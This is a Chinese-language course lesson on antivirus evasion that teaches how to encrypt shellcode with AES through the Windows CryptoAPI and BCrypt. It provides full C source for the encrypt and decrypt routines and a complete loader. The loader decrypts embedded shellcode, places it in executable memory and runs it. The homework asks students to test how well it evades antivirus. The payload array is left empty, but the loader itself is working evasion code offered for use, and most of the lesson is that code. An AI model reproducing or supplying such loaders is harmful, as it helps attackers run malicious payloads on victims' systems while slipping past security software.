免杀专题
24、加密算法加密ShellCode
1. 课程目标
学习使用标准加密算法(AES、ChaCha20等)加密ShellCode。
2. AES加密
2.1 使用Windows CryptoAPI
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
// AES加密
BOOL AESEncrypt(LPBYTE pData, DWORD dwDataLen, LPBYTE pKey, DWORD dwKeyLen,
LPBYTE* ppEncrypted, DWORD* pdwEncryptedLen) {
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
HCRYPTKEY hKey = 0;
BOOL result = FALSE;
if (!CryptAcquireContextW(&hProv, NULL, MS_ENH_RSA_AES_PROV_W,
PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return FALSE;
}
// 从密码派生密钥
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) goto cleanup;
if (!CryptHashData(hHash, pKey, dwKeyLen, 0)) goto cleanup;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) goto cleanup;
// 计算加密后大小
DWORD dwLen = dwDataLen;
CryptEncrypt(hKey, 0, TRUE, 0, NULL, &dwLen, 0);
*ppEncrypted = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwLen);
memcpy(*ppEncrypted, pData, dwDataLen);
*pdwEncryptedLen = dwDataLen;
if (!CryptEncrypt(hKey, 0, TRUE, 0, *ppEncrypted, pdwEncryptedLen, dwLen)) {
HeapFree(GetProcessHeap(), 0, *ppEncrypted);
goto cleanup;
}
result = TRUE;
cleanup:
if (hKey) CryptDestroyKey(hKey);
if (hHash) CryptDestroyHash(hHash);
if (hProv) CryptReleaseContext(hProv, 0);
return result;
}
// AES解密
BOOL AESDecrypt(LPBYTE pEncrypted, DWORD dwEncryptedLen, LPBYTE pKey, DWORD dwKeyLen,
LPBYTE* ppDecrypted, DWORD* pdwDecryptedLen) {
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
HCRYPTKEY hKey = 0;
BOOL result = FALSE;
if (!CryptAcquireContextW(&hProv, NULL, MS_ENH_RSA_AES_PROV_W,
PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return FALSE;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) goto cleanup;
if (!CryptHashData(hHash, pKey, dwKeyLen, 0)) goto cleanup;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) goto cleanup;
*ppDecrypted = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwEncryptedLen);
memcpy(*ppDecrypted, pEncrypted, dwEncryptedLen);
*pdwDecryptedLen = dwEncryptedLen;
if (!CryptDecrypt(hKey, 0, TRUE, 0, *ppDecrypted, pdwDecryptedLen)) {
HeapFree(GetProcessHeap(), 0, *ppDecrypted);
goto cleanup;
}
result = TRUE;
cleanup:
if (hKey) CryptDestroyKey(hKey);
if (hHash) CryptDestroyHash(hHash);
if (hProv) CryptReleaseContext(hProv, 0);
return result;
}
2.2 完整Loader
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
// 加密后的ShellCode
unsigned char encryptedSC[] = { /* 加密数据 */ };
// 密钥
char password[] = "MySecretPassword123!";
int main() {
LPBYTE pDecrypted = NULL;
DWORD dwDecryptedLen = 0;
// 解密
if (!AESDecrypt(encryptedSC, sizeof(encryptedSC),
(LPBYTE)password, strlen(password),
&pDecrypted, &dwDecryptedLen)) {
printf("[-] 解密失败\n");
return 1;
}
// 分配可执行内存
LPVOID pExec = VirtualAlloc(NULL, dwDecryptedLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(pExec, pDecrypted, dwDecryptedLen);
// 清理解密缓冲区
SecureZeroMemory(pDecrypted, dwDecryptedLen);
HeapFree(GetProcessHeap(), 0, pDecrypted);
// 执行
((void(*)())pExec)();
return 0;
}
3. 使用BCrypt API
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
// BCrypt AES解密
BOOL BCryptAESDecrypt(LPBYTE pCiphertext, DWORD cbCiphertext,
LPBYTE pKey, DWORD cbKey,
LPBYTE pIV, DWORD cbIV,
LPBYTE* ppPlaintext, DWORD* pcbPlaintext) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
BOOL result = FALSE;
// 打开AES算法
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return FALSE;
// 设置CBC模式
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
// 创建密钥
status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pKey, cbKey, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
// 获取输出大小
DWORD cbPlaintext = 0;
BCryptDecrypt(hKey, pCiphertext, cbCiphertext, NULL, pIV, cbIV,
NULL, 0, &cbPlaintext, BCRYPT_BLOCK_PADDING);
*ppPlaintext = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlaintext);
// 解密
status = BCryptDecrypt(hKey, pCiphertext, cbCiphertext, NULL,
pIV, cbIV, *ppPlaintext, cbPlaintext,
pcbPlaintext, BCRYPT_BLOCK_PADDING);
result = BCRYPT_SUCCESS(status);
cleanup:
if (hKey) BCryptDestroyKey(hKey);
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
return result;
}
4. 课后作业
4.1、作业1:AES加密Loader(必做)
- 使用CryptoAPI实现AES加密解密
- 测试免杀效果
4.2、作业2:BCrypt API(进阶)
- 使用BCrypt API实现AES-256-CBC
- 正确处理IV和填充
5. 下一课预告
下一课我们将学习补充ShellCode加载方式。